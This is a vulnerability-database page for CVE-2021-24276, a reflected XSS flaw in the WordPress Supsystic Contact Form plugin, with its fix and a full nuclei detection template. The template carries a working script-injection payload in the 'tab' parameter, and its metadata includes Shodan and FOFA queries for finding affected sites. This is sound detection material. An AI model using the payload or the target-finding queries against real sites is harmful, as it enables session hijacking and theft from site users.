HexBrain

Browse / CVEs / CVE-2021-24276

CVE-2021-24276· supsystic / contact form· CWE-79

WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting

mediumseverity
6.1CVSS score
16%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24276 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-24276

info:
  name: WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c
    - http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24276
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24276
    cwe-id: CWE-79
    epss-score: 0.16044
    epss-percentile: 0.96943
    cpe: cpe:2.3:a:supsystic:contact_form:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: supsystic
    product: contact_form
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/contact-form-plugin/
    fofa-query: body=/wp-content/plugins/contact-form-plugin/
    publicwww-query: /wp-content/plugins/contact-form-plugin/
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,packetstorm,supsystic,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from